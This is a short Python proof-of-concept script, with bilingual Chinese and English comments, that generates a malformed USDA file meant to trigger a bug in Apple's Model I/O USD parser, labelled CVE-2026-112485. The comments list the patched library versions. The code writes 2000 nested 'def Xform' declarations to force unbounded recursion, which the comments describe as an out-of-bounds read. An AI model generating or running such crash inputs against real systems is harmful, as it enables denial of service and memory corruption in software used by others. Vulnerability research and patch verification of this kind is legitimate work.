#!/usr/bin/env python3
# mdl.usda · Model I/O · libusd_ms · CVE-2026-112485
# 原语: OOB 读 · 进程内 | Primitive: OOB read · in-process
#
# [zh] USDA 声明嵌套深度
# Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32：经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile
# 尺寸检查。ModelIO.dylib 自身不含任何修复。
#
# [en] USDA declaration nesting depth
# The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation,
# Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib
# itself carries none of the fix.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112485.swift
# triggers (run closures) & non-seed builders: CVE-2026-112485.swift in this folder



# --------------------------------------------------------------------------- USDA nesting
def build_usda(depth=2000):
    """libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
    head = "#usda 1.0\n\n"
    body = "".join('def Xform "n%d" {' % i for i in range(depth))
    tail = "}" * depth
    return (head + body + tail + "\n").encode()


# --------------------------------------------------------------------------- CFF stack bomb

if __name__ == "__main__":
    import sys
    out = sys.argv[1] if len(sys.argv) > 1 else "deep_nest.usda"
    open(out, "wb").write(build_usda())
    print("wrote", out)